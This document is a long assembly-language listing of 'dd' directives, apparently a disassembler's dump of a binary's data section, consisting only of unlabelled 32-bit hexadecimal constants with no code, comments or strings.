		dd 54007D61h, 8E5E9A0h,	0E73353Eh, 0D8CD4F8Bh, 2B7EE6C1h
		dd 0BBF1CCC3h, 75786100h, 4DCEC2DBh, 5C176D7h, 0FCB9A82Ah
		dd 8509188h, 0BA737018h, 2D0E1403h, 0E905BDADh,	702CD878h
		dd 44B5D600h, 0E836FB5Bh, 722D9007h, 92602411h,	1FA4BBh
		dd 0FA37F433h, 6DE17F41h, 0B80002F6h, 48E53C73h, 2884B01Fh
		dd 0CCD690h, 29DFC3ECh,	7C285A8Ch, 0BF2CF53Dh, 1B3C0254h
		dd 60B8AC22h, 5E66E540h, 0B307B0D2h, 20000CB8h,	874A2B86h
		dd 24EEFB28h, 0E4438A9h, 0DC00FE76h, 0C921553Eh, 72C65F00h
		dd 0A3CE3BF1h, 0E5360A3Dh, 9CC6F9Fh, 9F009A16h,	0DEE65CBDh
		dd 3C793E01h, 0DF4FD069h, 8A18E4h, 98904D25h, 3931F232h
		dd 0FD709500h, 9EBFA367h, 0E7C30044h, 0E9547FC2h, 1E0D15CDh
		dd 689246EFh, 0AD1227FDh, 0B00EF4A9h, 0C6DB0720h, 27015C83h
		dd 444BFF3Fh, 0C1D8EE68h, 0F230032h, 0BF0650C9h, 0E17883Eh
		dd 0A31EE5E4h, 5E2D3D45h, 17CE048Ch, 35657Eh, 1624F93Ch
		dd 367FEF1Bh, 0B7936800h, 0CAAA07C1h, 0B65A00D9h, 0BC52FF6Eh
		dd 3000F579h, 0AB43E6FCh, 7528198Bh, 856F09B5h,	9000C8D2h
		dd 0DC40FA6Ch, 0E4645000h, 0B8912062h, 0CC4B0306h, 1C3776FCh
		dd 85E01398h, 0B4E9CA00h, 4E63537Dh, 3562000Ch,	0B082379Fh
		dd 0CA007B3Bh, 4AF3B1A2h, 1901A88h, 80200866h, 0D8F0C9FDh
		dd 0A8B204B8h, 963BA100h, 29854962h, 14EB02FCh,	794C0EB5h
		dd 0F50B2AE0h, 4F28CD01h, 0DE467F6Dh, 0D724DCh,	6FAC5E55h
		dd 863CA306h, 0DB337626h, 0C8D31F04h, 582F7880h, 0D42A0063h
		dd 3C8EC90Ah, 0D6245999h, 5400C3h, 0E9BE2656h, 177E534Ah
		dd 0CC443726h, 0A003EB92h, 0DFBB3CF6h, 0C8CC5180h, 64CF0531h
		dd 23FEC4h, 0DC4C91CCh,	0D4E722CBh, 8C035F76h, 0A2E4F461h
		dd 2374001Bh, 17D2CF15h, 7A1E550Ah, 0A8AEE73Dh,	0FE382701h
		dd 0AC605331h, 626C00B8h, 847C8955h, 9C0106B2h,	4B36ACDCh
		dd 0F040B7D2h, 0FAD83ED9h, 68741CD3h, 0F0CA80DFh, 0C715EA47h
		dd 0A84A6100h, 2BF7A45Ch, 0CCB4025Dh, 0A0F972CBh, 636A88E0h
		dd 0D20EDF00h, 52B333C0h, 39C9471h, 7232E1ACh, 0E24C8A90h
		dd 0DD188600h, 6D9E1785h, 3A640002h, 2DEAA6F8h,	9B013E37h
		dd 0EEAF4331h, 73FCD8D2h, 0FF6B0068h, 0FE9CF9C3h, 31005A58h
		dd 74CC2581h, 7529926Ah, 0B1E600EEh, 0CBE277Fh,	7D1C7AD9h
		dd 530296B3h, 0C04A20F3h, 7FA930h, 241FB795h, 8A791D8h
		dd 71AD5500h, 0AA18D2FBh, 2C070394h, 0BC16C047h, 404B26F8h
		dd 0BD78C93Bh, 29348089h, 0D9B86DFh, 37E20022h,	97C97FAFh
		dd 0FDFCEA92h, 0CBA10100h, 19BD605Dh, 86382498h, 0D5B60724h
		dd 87B1939Ah, 5931101Dh, 0B918BDC0h, 0E88D88EAh, 0CB5E00F2h
		dd 484EDE24h, 723ED6F4h, 0A000FFEFh, 62DA273Fh,	6BB75Fh
		dd 7BD2905h, 0F4FE32F7h, 0C1A07628h, 75C4A40Fh,	307987EFh
		dd 85F9C0DEh, 0F6769A2h, 0D94A91F3h, 7EA8A6E0h,	0A1F6861h
		dd 7013E5CEh, 201E384Bh, 20A66DDCh, 0D21C0E36h,	7773AECh
		dd 0D0725B92h, 0CF068744h, 8E2DEB00h, 434A7B26h, 0F7351C9Dh
		dd 17D580D6h, 0B1765378h, 16B44800h, 3CCADEDCh,	716CB029h
		dd 0C87B0539h, 68E84Ah,	763AE308h, 0A94E93EAh, 7E239003h
		dd 32A1B85Fh, 0B9AB3A96h, 9FE39A1Fh, 0FF3D39ECh, 0F07B5380h
		dd 7AD3BB3Fh, 0C6CA700Ch, 1FA9182Ah, 269FAA06h,	0F7D17A1h
		dd 9A809714h, 0AB87EB03h, 0F3EE5D1Eh, 4490ED80h, 5313954h
		dd 32A9D37Eh, 9488415Eh, 508AABC8h, 1DE7A154h, 8A04373Eh
		dd 5894EBEFh, 7CC18F00h, 6E5122FFh, 1CA0415Ch, 0BC370EE4h
		dd 0B1141000h, 79CF4DC5h, 11A50740h, 3E84511Dh,	92AFE200h
		dd 0E3019C0Fh, 0C80C4254h, 970A2D9h, 5A5E0078h,	4B993BAAh
		dd 70C01184h, 0FCC0B46Fh, 72CE0016h, 0D558A74Fh, 0EA002DD0h
		dd 7EC72F92h, 762EB3F9h, 80D096D2h, 0CE894A90h,	2400C1FBh
		dd 0B4504191h, 4BE3431Ah, 99D80010h, 0EF0CE47Ah, 0AE4A0416h
		dd 2844E000h, 49862D2h,	6E35C3ACh, 64FC801Fh, 70060B4h
		dd 0B120E2C0h, 715E49h
		dd 92FAD905h, 747E38A5h, 310069F4h, 427F6114h, 17F9BA95h
		dd 401E9DDBh, 0EF553220h, 830006F8h, 0F25FFC5Dh, 909A0759h
		dd 0E00A00DCh, 3D56584Dh, 0EE001B8Bh, 7AB904ADh, 60476960h
		dd 0B27362F2h, 0DC00DB15h, 573BA49Ch, 0F581E2h,	0BA1F16C7h
		dd 196BC4F3h, 0D4BC750Bh, 2C8B40h, 9655DAC8h, 1F620E5Ch
		dd 0B80BBF1Ah, 7CF1A407h, 5500A781h, 78BC1C9Bh,	36A0917h
		dd 0E33520C1h, 7BD82E85h, 0E3B8AFF3h, 0F8309860h, 6328028Dh
		dd 8E5A1157h, 2CA65090h, 15B913Fh, 0D560BF83h, 0B868E39Fh
		dd 3D67C7Dh, 578B0B20h,	9098E7F0h, 9C7C33EFh, 8CB85800h
		dd 644B05D0h, 14E7C5Eh,	0C88081A6h, 0C5A8659Eh,	0E24424A2h
		dd 0FBDE5700h, 5A93F2DAh, 41560060h, 4CD0108Ch,	4F002982h
		dd 5E901957h, 0FFA1D5h,	0C3F1E118h, 8A873E26h, 33B8C800h
		dd 78F6E89Ah, 0D09832h,	72916630h, 0DD54073h, 0FC011290h
		dd 1FEAC783h, 0B3204C16h, 0EEBD3DAEh, 3A70E07h,	937B80D5h
		dd 0E703D842h, 91FF57C9h, 6709B126h, 4C20FC31h,	12810046h
		dd 8CA6F52Fh, 3D009737h, 104D40DFh, 2CE461FDh, 93F4C22Ah
		dd 85F8403Bh, 2508BFC9h, 6E31911Dh, 3EFDAF00h, 1FAA6035h
		dd 87FCE1B2h, 0A0C64DD3h, 0D55B81E7h, 0BB1F0F17h, 3A91ED00h
		dd 19CF7Bh, 0A2FF0216h,	6FD51522h, 1D004FFCh, 0A85E1027h
		dd 1DA79EDDh, 1F1C154h,	6C5DCE53h, 0B4E464FDh, 5804B54Ah
		dd 8B206B55h, 0F639DA4Ah, 286E0045h, 0B6CD634h,	191B028Eh
		dd 31C9111h, 1E7F1C40h,	41016EFDh, 0A5DAB790h, 14E0488Eh
		dd 2AC4EEC0h, 3E7DF8D6h, 0A405824Ah, 0BC403A62h, 4B211CCFh
		dd 0EB78001Eh, 99AF19ADh, 6812390Ch, 0AC003CD4h, 69B58F7Bh
		dd 0DF2501D5h, 110296Ch, 302C1Dh, 8821A83Eh, 0E14443h
		dd 0F8DF57C2h, 5992F1BDh, 0C9727901h, 71F52D28h, 0FF6960h
		dd 0E75024A7h, 0DA20484Dh, 0AE908A00h, 0D1473A85h, 0BE4E0029h
		dd 11BAB915h, 6A00C9C6h, 9518C061h, 3C35CF3Bh, 0A70EB74Bh
		dd 0D4201222h, 8A602588h, 178C401Eh, 0A61C803Ah, 437F0B65h
		dd 0E2AA0F85h, 488B9794h, 3903D500h, 9D123396h,	784FD02Bh
		dd 0AEED6374h, 78E4B492h, 0B95F0390h, 530B54C0h, 0F9A92BE8h
		dd 399BCC18h, 983AF0h, 0E4CDEC26h, 733E0ABCh, 92C17703h
		dd 889B7F80h, 119832h, 0AD7860FDh, 350F28D3h, 0B6E18D00h
		dd 4AA992A1h, 284F7339h, 84E622h, 0FFD48344h, 0FE6BD294h
		dd 0E520C500h, 812D5539h, 0B83461B9h, 15ECABh, 56084DFh
		dd 2BE3A4B6h, 0A5D8053Bh, 0B05DC5A6h, 0EC043EACh, 1C9FC7E0h
		dd 3C0194D0h, 180D7209h, 298BE44Eh, 880C7296h, 4921EDA6h
		dd 4C6F0F36h, 0CB40E9ADh, 779D7AB7h, 0BB00B5F6h, 0E2EF7CC2h
		dd 976056h, 34CFB310h, 0DAE7D46Fh, 2FB45248h, 0E24400CBh
		dd 45C1CE8h, 0F4918496h, 7CB27Bh, 3C6C2BF6h, 0F77F881h
		dd 4719D0DBh, 43DA0156h, 0DC945978h, 7500416Eh,	32888910h
		dd 30258Ah, 0C437127Bh,	0FD907020h, 0BF8D0703h,	0F87D14A6h
		dd 70779AB3h, 39C70418h, 80E65972h, 6CA13473h, 0ABC96000h
		dd 2F151B41h, 6A26481Ah, 5F5E0900h, 67A08B4Ah, 7FB42A00h
		dd 4481F6C5h, 0C477006Ah, 0B704E72Dh, 0C700C27Ch, 0CEB03018h
		dd 0B8105BADh, 7D908Ah,	11CD092h, 646D4135h, 0AFA62714h
		dd 7C8C09E4h, 991CCB0Eh, 0C07D4288h, 241E8300h,	94DEA7B1h
		dd 29E92D03h, 805EC040h, 0BCA9F0h, 0FD371C7Ah, 0AF1FC9BEh
		dd 6C39CF00h, 0C8581332h, 1E0EE67Bh, 40776785h,	31AE5DDh
		dd 0FB073DAEh, 1BF92F75h, 0E77A8FC0h, 0E8D31E7Dh, 7723C021h
		dd 32CDAEB1h, 0D990E000h, 0DC6553D5h, 0E92B091Fh, 90209FB5h
		dd 0F20B8883h, 771ED801h, 293A2CB2h, 59ECEC72h,	5C68FE20h
		dd 3A053911h, 0CC69EA7Ch, 5E7704E4h, 0B031D120h, 66D23FB0h
		dd 7C7884C8h, 260200C1h, 37969EE6h, 38072E2Ah, 6A03C53Fh
		dd 1780CDB4h, 148F51h, 2DBD782Fh, 0FD86212Ah, 0A0FCA82Ch
		dd 0C834F101h, 0D0D35C90h, 3AAB8EEBh, 0A4DCE36Bh, 0F2C9AF00h
		dd 289FA5A0h, 70D2210Eh, 69F601BAh, 0EC711CFEh,	5C215C1Ch
		dd 0DF80E45Ch, 0E5E9C81Eh, 0E6055474h, 562173F3h, 95DB1000h
		dd 7649DA9h, 0AA7EF034h, 8814811Dh, 7603F080h, 22910600h
		dd 0A3137079h, 4C35097Bh, 4469E33h, 901B9400h, 0B13E4502h
		dd 5EE400F9h, 0FA82A210h, 0AB1D1968h, 168184E5h, 0BEAEA08Ch
		dd 9A9B807Bh, 0E600D7F7h, 0DD937F8Dh, 4C77A9h, 6BE31302h
		dd 4021D9C7h, 0C40CFC00h, 298607B1h, 0CF090774h, 0F0AD260Eh
		dd 25AF46EEh, 0C45BD503h, 0F006B98Eh, 0D0A2EBh,	711EE2C3h
		dd 87336609h, 4573FF01h, 5E78F5C0h, 5AC0BE47h, 0A0139E4Bh
		dd 0E0339Ch, 7AD92184h,	8B4CB3F8h, 8002A93Dh, 6C931826h
		dd 3BE7BAAAh, 4D80A6F2h, 0DCF7B064h, 9A00CDF6h,	3F587C25h
		dd 0E80D8Dh, 54908FE6h,	0D5B31B99h, 66283E00h, 963F959Dh
		dd 0B8421F51h, 1ED040FFh, 6F68CFC4h, 6C002F4Bh,	0D4EF065Ch
		dd 499900FBh, 70CC1319h, 0BE2E607Ah, 29006C24h,	8F892BAEh
		dd 5A381671h, 64B50920h, 0B674CB00h, 48002683h,	7CB8B59h
		dd 0C438A5h, 5DC606D2h,	4ED625F6h, 70C84800h, 0DF8C3BF7h
		dd 0EC09A5Ch, 7BACECE0h, 0EF56D23h, 0CE508095h,	37007E8Fh
		dd 314D153h, 0B32C4Eh, 70571247h, 0F451620Ah, 0CDAF9200h
		dd 2CC4B805h, 997713D0h, 24F400A4h, 6DE3B625h, 4865AE13h
		dd 6C05E900h, 0EA3FF41Fh, 9C2C0E5Ah, 3562237Ah,	0EBE0EEF6h
		dd 1325D560h, 0C03400F9h, 187ED3Bh, 270BCB51h, 3DB775CFh
		dd 6FE71248h, 60B8F884h, 0DBC26E0Bh, 5D903480h,	0F001DD16h
		dd 0BF460AA6h, 0E340596Dh, 0E270FFD9h, 31410161h, 0A864080Bh
		dd 394829E9h, 1D03479Dh, 0EB01BA25h, 14BFCBF0h,	0DC0FBC0Bh
		dd 78CE00E9h, 4D3EE7Bh,	0D42AC309h, 0CAA8C09Fh,	100467Ah
		dd 51E1B717h, 15F4E48h,	0E92E2DC5h, 0FCC2247Bh,	601DA529h
		dd 8B80D3A7h, 14B35D5Ah, 7B60E9B1h, 890C0F26h, 5A2442Ah
		dd 1EC0CB0Dh, 46E0F327h, 4E5E8E00h, 1F722658h, 0AA98A8CFh
		dd 0A3910567h, 803F070Dh, 23A94F94h, 0F71D6D00h, 3C2F19Fh
		dd 79540032h, 4A942DA3h, 0EB1FC61Bh, 53806BB7h,	9735AC74h
		dd 0B66EC04h, 0C6C3211h, 3D949C08h, 315FC90h, 0CA846F8Bh
		dd 0C48804D5h, 0A26DF693h, 0ABD1378h, 5856111Ch, 9761FC40h
		dd 0FA69D90h, 0E4D904ABh, 7A5777A0h, 0C100CA9Ah, 12B1201Ch
		dd 0CD2EBCh, 0AF6A70BAh, 824A0AF0h, 91936703h, 0CD723484h
		dd 998530D1h, 2BC1EC6Dh, 28C6A470h, 42900740h, 77B61161h
		dd 0E13D00C0h, 71B60E1Ch, 0D49456D4h, 0B746A07h, 2E18CAA0h
		dd 0E8B10341h, 4B54ECAFh, 0A1D06C88h, 0DD37F200h, 96CDC6E2h
		dd 0EE9A003Fh, 78A706ADh, 0D3F0FBF9h, 0D8D97F12h, 265790B0h
		dd 1E2BFCD6h, 0B00340EDh, 0BA78044h, 882BA600h,	4FF2F587h
		dd 71861ED5h, 1F160154h, 0F15B0BA4h, 0A2E460D4h, 0CC1F237Fh
		dd 5E805658h, 2FECA087h, 0C1CB0B9Bh, 0C020CA0Ah, 0E9742A3Ah
		dd 0F5480600h, 24464B35h, 983F0031h, 9D96551Fh,	6E00B782h
		dd 88E26BA8h, 0E75C25h,	0E88D9238h, 5E18B8FDh, 78F9DF30h
		dd 9BA571h, 16B51025h, 0F6E17E92h, 6D522800h, 8E23180h
		dd 83C92AE5h, 0B45C5CA0h, 1E8EC4h, 95DF40D9h, 71E10028h
		dd 0E0306B2Ah, 4B39B234h, 0CD048136h, 4A431072h, 2CC7AC40h
		dd 0ABE80030h, 1C258B76h
		dd 0A100AD27h, 542E37F6h, 0C6545h, 57DF08BAh, 4A1DE25Ch
		dd 0AC00C0B8h, 949D588h, 2CE53685h, 8074A501h, 0BCADC1F4h
		dd 6228E75Dh, 0DD0ECC2Eh, 9523136Ch, 270078D4h,	467E8317h
		dd 0C074A5ABh, 5DF26B19h, 6300B167h, 1D43D8FEh,	1CB9A03Dh
		dd 0C016106Dh, 653C6FD5h, 0BE0254EEh, 33EE708h,	0A5D180D6h
		dd 5F04D795h, 1C0007BFh, 990B86AFh, 0E1DDE900h,	806846F2h
		dd 40E700C1h, 0EC49F457h, 0D200AA33h, 7DAFB005h, 61F2D0h
		dd 1245352Dh, 42832EA5h, 0BE00ABECh, 2361B7Bh, 0B11FB8BFh
		dd 421C8528h, 0E4E40087h, 78FFCE1Dh, 89EE5F3Ah,	5556DE5h
		dd 50F16510h, 10F02980h, 0F5E2D672h, 2EAFBA00h,	1A0F05E8h
		dd 0CBEF253Bh, 80CFFC63h, 73CE3F26h, 6594170Eh,	6F9C874Eh
		dd 2E3920DFh, 98DC8F16h, 54E60BFDh, 69004A91h, 69F397B0h
		dd 70001972h, 60EBF9D6h, 3480BAh, 0D21F26EDh, 0AC2461CEh
		dd 39F6F7E2h, 743A2F0Eh, 1C3E60ADh, 2B1C5A1h, 0E2995636h
		dd 38463031h, 83021B79h, 60D3503Ch, 259B80E4h, 78C3E74h
		dd 0AD695A0Ch, 0C6620091h, 0FFEC72C3h, 2AB028ECh, 778CFB03h
		dd 0D81AC1A3h, 824467h,	566FF710h, 0E20184FAh, 0D5CD7B00h
		dd 0FFDD0C99h, 25A5F0D4h, 315C3882h, 0CF969A00h, 0BA95460h
		dd 61D48B90h, 5B9D1810h, 0E5E5F42Ch, 2946760Ch,	17A7BBCh
		dd 0C79F81F2h, 0F92FDEA8h, 0DACF7073h, 81226F3Fh, 0F945206h
		dd 5034D195h, 0B64F2650h, 0E82704B0h, 0B4AC87h,	0B55B2A28h
		dd 0A8FE8EBAh, 7B79BB80h, 0F0009FF5h, 6AC504B1h, 87A11E3Fh
		dd 824870FCh, 9EF7D660h, 67D32D4Ah, 91A4D000h, 27005452h
		dd 0C9AD7E21h, 9D4CE931h, 0C13900A0h, 5736C87Ch, 3D28111Ch
		dd 5D804FE2h, 52960F8Ah, 1501A853h, 8587D381h, 0CC5C366h
		dd 0A497C0C7h, 2FCA0E29h, 21205256h, 2D2A0307h,	0EECA70F7h
		dd 24E5E101h, 541C96C8h, 7A8AF9BBh, 2D4068D1h, 1B406834h
		dd 753A14E0h, 0D500205Eh, 56DF1165h, 533CE9C8h,	370E806Ch
		dd 38BFAAD0h, 4AE403CDh, 88015C14h, 33986698h, 0FA8D0201h
		dd 65555D05h, 954AFCh, 0B9ACB515h, 0C76ECED6h, 0CA7C2Fh
		dd 8F903AB4h, 57241DC5h, 9BA9C38Bh, 7DC87FDEh, 6600E783h
		dd 317C1496h, 0E4E11ABh, 0FC5E86B7h, 0C3FF9320h, 14007184h
		dd 4DB11A18h, 6E81DA8h,	0DD7FA068h, 0A900C829h,	114A6E53h
		dd 0E401BDh, 758D0FD3h,	84219135h, 0C5EDF307h, 77A03710h
		dd 0E2C6AEh, 765C3FFCh,	0DDCE57A4h, 7EEE3400h, 7E8D02Bh
		dd 1DF47B4Bh, 0AF30474Dh, 933BF098h, 71049074h,	57E7F196h
		dd 60CE75C0h, 289C003Dh, 12B8B46Bh, 5228230Ch, 0B226BD7Fh
		dd 900074F7h, 7DEAE370h, 0B661340h, 7841F1Ch, 0D99E8A21h
		dd 3FF07C70h, 0D9809B02h, 0E0057AD6h, 78147620h, 2A7B0060h
		dd 9FE9C9B9h, 0EC00C269h, 9A513222h, 5C7F5721h,	0EF029911h
		dd 0B0F23461h, 0B13E8C0h, 0CB6CB700h, 0D8823BA0h, 0CFDC0092h
		dd 682633F2h, 3160971Ah, 5CDAB169h, 43C20092h, 34D19EFAh
		dd 0A51C418Eh, 39035399h, 0D0C59442h, 3BEC5DEBh, 843B57C7h
		dd 9EE7D601h, 0C0D01A48h, 9A00A514h, 89A9958Fh,	75E66Eh
		dd 49F0E9A0h, 330C7BF4h, 0B970457Eh, 5A01CA79h,	593FBB61h
		dd 5931FB85h, 0F90BD4h,	8FFFB778h, 20F5E01Fh, 5645C00h
		dd 0DB6B721Ch, 36D330D7h, 9D1F5D68h, 33061775h,	375E8250h
		dd 0DAE20018h, 7B881C90h, 1E00AF35h, 827C7EB9h,	37899C9Bh
		dd 4198E7E9h, 0FCABD2FDh, 1F1C93F6h, 0D4403612h, 0EB4E53B3h
		dd 6790CEh, 0B6F161E0h,	0C075DC32h, 0D23F3A0Eh,	2F89825Bh
		dd 0BF60771Eh, 0AE762974h, 0E0DD4400h, 704FD83Dh, 1D930096h
		dd 0AB81251Ah, 9B010B75h, 3BBCFB8Fh, 0F2D02BB5h, 0D5D309D6h
		dd 0C000AE7h, 3316122Ch, 4465C800h, 2917CF61h, 0D1F0036Fh
		dd 74B71107h, 4C46722Ch, 0E0FFF90Fh, 193BFD35h,	502B00A8h
		dd 51178241h, 870025B4h, 3930A31Ah, 3BD8CFAh, 63A1E966h
		dd 0A2E80D5Ch, 777B4908h, 6A57F00Eh, 0D0222AF9h, 3D6BA587h
		dd 0AE84FCD4h, 553AF305h, 216F80FBh, 5B00CF36h,	4C58A4BFh
		dd 0E8D32F1Ch, 5040002Ah, 0E5DFCADDh, 0B50FBBECh, 86884EC8h
		dd 58F3DAh, 857B68D2h, 0ADE05E9h, 356388A0h, 523DA30Fh
		dd 0D51D0469h, 0F44DA501h, 8660CCE2h, 7C2DD200h, 150174DEh
		dd 0D8A41Ah, 0C8C0DFEFh, 6E8897Bh, 883ED200h, 0F997E31h
		dd 7436035Ah, 667BD5CFh, 0BA7930C9h, 0C0FC55E8h, 3E285DC8h
		dd 0E300A557h, 27809AF3h, 96F04h, 61307EEBh, 89AD2F96h
		dd 4B1E7700h, 0E752E5E8h, 0F4701980h, 0E4F36023h, 5000647Dh
		dd 0E4BECB4h, 7D5BC8Fh,	0C65AD071h, 581E50CFh, 0AB000160h
		dd 0C9482723h, 717EF4CCh, 8A5B004Eh, 14BE289h, 0BA002325h
		dd 0A7395869h, 1DC9B736h, 0B93CBB46h, 8091561Dh, 4C0166B8h
		dd 7003F649h, 219705ECh, 0F8FDFB63h, 0C30B10h, 5C523C31h
		dd 3DA745D4h, 29D5C40Eh, 41DF6364h, 80BABA5Eh, 0D9DECFC8h
		dd 86B5001Dh, 8FAC52F7h, 0A803143Ch, 5FC37BAAh,	0EE7FB828h
		dd 1A123AF9h, 4522FC84h, 375C90BBh, 4D00B5FFh, 4161E67h
		dd 1387A95h, 0F2D8E2EEh, 0E4122089h, 670430FCh,	6921671h
		dd 0A2BC39C0h, 6DE40EB6h, 0C84002FDh, 0FEE77CCCh, 64000590h
		dd 0AC690D63h, 0C02218BDh, 65BFB988h, 67015BFFh, 9EDEB408h
		dd 0F1D85298h, 39A7756h, 0A32F66B2h, 0BFF8F771h, 0F4A0D139h
		dd 0A13840BCh, 6C270C5Fh, 0E6B8D2h, 99439D96h, 0DDD82F26h
		dd 0E2F87F00h, 15CD4DBAh, 28F360ABh, 0BE0B0633h, 0A9A5D313h
		dd 67E1B400h, 29D8F2h, 0E4F3922Ah, 0C206DB6Fh, 2BC35501h
		dd 51901B96h, 46C420h, 0D11F1823h, 56B452B1h, 777B9800h
		dd 6F358715h, 0DC6D0084h, 4939F9EDh, 4E3E2F3Bh,	0CEFB804Bh
		dd 893363C4h, 2B650051h, 0CCC3596Fh, 250BA3FEh,	804B3CB3h
		dd 0B8A55D77h, 0B5080002h, 65E35C3Bh, 2E007AE6h, 6836FF90h
		dd 3094891Ch, 0FB11C237h, 6A006CF1h, 666EF855h,	7D8DFDBFh
		dd 4C5618C6h, 0F274C078h, 5DAC2407h, 40CE4D0Bh,	0C1A2A564h
		dd 4ACD0036h, 0B946E34Ch, 870580BEh, 4E34E511h,	0C0D0AB82h
		dd 79B63Ah, 48E35608h, 8B017EEDh, 1E1FA501h, 1C2BD342h
		dd 2DA7C8h, 0AAC16F75h,	858F5382h, 5573F300h, 0E8E62EF5h
		dd 0A44100D8h, 999AD048h, 7D008FB5h, 0E0EED593h, 3D8C4CE5h
		dd 58002A19h, 0B61DDED4h, 6900A1DAh, 2DBE9593h,	183922Ch
		dd 38A07105h, 0E461D35Ch, 31002E21h, 91B41A2h, 58BACE4Eh
		dd 7464F1h, 2546EFADh, 0F0106E1Fh, 0C9F7404h, 9EC06D13h
		dd 229D9Eh, 0CF2729A8h,	9FD73F4Dh, 0B6314800h, 4EABE849h
		dd 0AA700169h, 8F153A78h, 0F800DB88h, 9EFF2A18h, 0F09CF7E4h
		dd 6E460085h, 0E18C94F8h, 13905659h, 485439h, 0E8D8D449h
		dd 0E47D8B9Ch, 86C7003Ch, 955E0DE7h, 2500E089h,	9D04CB3Eh
		dd 0D65BA8h, 627E17FBh,	0C55A2F9Ch, 900ED98h, 451DC7C0h
		dd 33D1D0h, 0D361EB32h,	6F7DAFA7h, 0A126A307h, 4BB0BEA2h
		dd 0A6F515h, 45928685h,	1944CA05h, 0BE8C8300h, 6F2C3862h
		dd 54D900EFh, 87FB4711h, 5B1E443Dh, 0D680B6A1h,	0E9358C4Ah
		dd 0B0CA0216h, 0CF8D7786h, 0B7398380h, 0EF4C4230h, 8EE31C3Eh
		dd 22878900h, 2D2FA2h, 0D2C04BABh, 7779F05Fh, 1999F200h
		dd 0BB369517h, 0D96400B9h, 87FA5C5Ah, 672F67Eh,	0A016ED24h
		dd 7BFE6800h, 73AE5BCh
		dd 391DBEB3h, 96CA41AAh, 9006DB3Bh, 19C2B687h, 3A9DF030h
		dd 9E9D59A0h, 0E1410670h, 9F3E18BEh, 0CF3B0088h, 44DD9B94h
		dd 0DC3018FDh, 0D62B08ECh, 396639h, 8A7BA3FFh, 270755h
		dd 0FA5B313Ah, 89BEE87Eh, 98496005h, 0C780ADB8h, 726B948Ch
		dd 47EF00EEh, 75ED59D0h, 0E1007B05h, 3F3DCA97h,	603B8A7Fh
		dd 689338D4h, 346678D9h, 49B0C8h, 0E04316Eh, 4E62E854h
		dd 0FD82100h, 91A9B7AAh, 25C5008Fh, 343A19EAh, 45004AC9h
		dd 0CDE428FAh, 3E61BD4h, 0AD487CEDh, 0BA06AE8h,	4100604Ch
		dd 45078C68h, 982909F5h, 97F000AAh, 0EF186101h,	673F9112h
		dd 0A01C8339h, 91411DB4h, 95FC3122h, 8C2D0214h,	9649C16Bh
		dd 0A63A1D40h, 2BDE0300h, 140F7366h, 238800CDh,	0B319D748h
		dd 2400B41Ch, 3A25A1Fh,	20536A6h, 6BE99F7Ah, 0D4A1386Ch
		dd 40D83255h, 7B3945E4h, 82DB633h, 7A21004Fh, 967FD83Ah
		dd 290E9AC7h, 2F0EF5C3h, 6E3B87C2h, 0AD1543F0h,	10E8491Dh
		dd 39730900h, 98897E93h, 9859E0A1h, 2F21F308h, 0EDF66Bh
		dd 0AA07562h, 0B6859B91h, 3F7EEF44h, 0DE810BCAh, 0EABA3C1Ah
		dd 6D68831Eh, 2335847Ch, 843FB670h, 617E8E39h, 2627F262h
		dd 7ADC609Fh, 188F6EDh,	4793B0A2h, 0D0EB9E7Fh, 9FB0FE08h
		dd 89169200h, 0FBDDEA1Eh, 0F9FF7173h, 0A187B024h, 34186D9Ch
		dd 0BEB5D81Dh, 491163h,	0FCD83C7Ch, 30CAD42Bh, 0E1D06773h
		dd 0FD303835h, 90A75978h, 0F7001A8h, 6190D91h, 6D089879h
		dd 88B821h, 5E8176A8h, 403BAAD4h, 183F24A1h, 3A84893h
		dd 1124A929h, 8BBD056Ch, 0AE804EA8h, 36EBA0BBh,	0D8E0EC37h
		dd 0CBEA150Ch, 70C010F7h, 184B00A9h, 590AD081h,	0C70E0313h
		dd 0C0FEE997h, 52AAD286h, 8DD400FCh, 0C424DA21h, 9400F15Eh
		dd 2AA08AB2h, 32184Ch, 0C36BDDBCh, 53F87049h, 6FFCDC00h
		dd 89B052E6h, 2C5007Ch,	976E0D1Ch, 0ED50A48Ch, 7D003C96h
		dd 0F83E28BAh, 2A179Fh,	99D09E74h, 18254727h, 0B7E4C400h
		dd 2616B3E5h, 89600773h, 7045EE7h, 6139B09Ah, 0D62633EBh
		dd 7B00BE02h, 9301CFA1h, 98900BBh, 516B99FBh, 0FD5FD94Dh
		dd 1603DEACh, 39D0722Dh, 123430B8h, 366B1F00h, 0A5B125DAh
		dd 764100D4h, 0A61903AEh, 8100B610h, 9E173813h,	3B3BCDDh
		dd 43DC9F5Eh, 499026E9h, 53007C4Ch, 0EC040789h,	1C64DAEEh
		dd 5CD983h, 86023A25h, 0B400DD7Dh, 542C1BE7h, 3FE53294h
		dd 568773BAh, 0F02FF6C1h, 55300334h, 4D84A00h, 3C7FD56Fh
		dd 86491FE2h, 0D9E1C0CFh, 2A85D68Dh, 0A79060FCh, 3C2606F8h
		dd 0DC008EF1h, 4F5C6829h, 1E8E05BAh, 0C0FC43h, 51FE7AD8h
		dd 0C9009DC6h, 0E6CE799Ch, 0B816DE5Ah, 7BAE0137h, 0A1F99F1Eh
		dd 0AFC88641h, 0E676C8h, 5412DE0Ch, 6E7C6299h, 0C26C8A01h
		dd 0CA52F9EEh, 823DE0h,	641FD898h, 8B812F87h, 0D6433118h
		dd 1D6C6578h, 87E94ECAh, 0B01DEE06h, 88C921EBh,	98A06000h
		dd 3C96AFC1h, 9F9D0038h, 1A234527h, 0D500AE7Bh,	0E0120D82h
		dd 3976F92Ah, 18893C04h, 9703DC5Bh, 59907DBBh, 58061FFEh
		dd 0BEF110B3h, 7F7D58h,	0B141355Bh, 52AC69D7h, 0B7001CB8h
		dd 7BB9B408h, 90D46C6h,	0AB8F560Bh, 88041F80h, 0BF009607h
		dd 25646AA1h, 3E1B339h,	0F4864CCAh, 72D88991h, 0D4005BA2h
		dd 28E04511h, 8EDE9Bh, 54E8A7F5h, 0F40A4D12h, 9E591900h
		dd 17F7B079h, 34720A35h, 39F8DA52h, 8E80B5BBh, 2DE64EC9h
		dd 0E90F244Ch, 6096C52Fh, 6CC65D9Ch, 0BDD00A9h,	2AA3209Fh
		dd 0FF002844h, 0BF657215h, 27FB5Eh, 0C01C1943h,	0F4B751E9h
		dd 2AE62500h, 0CA4D066Ch, 0A67B0Ch, 0C69E856Dh,	47FBFF7Bh
		dd 621B5500h, 80BB7E89h, 1CDA00CAh, 0A8262F3Ch,	0A90070D0h
		dd 9283D06h, 99B485h, 69E36F98h, 6414E2ADh, 48EDDB26h
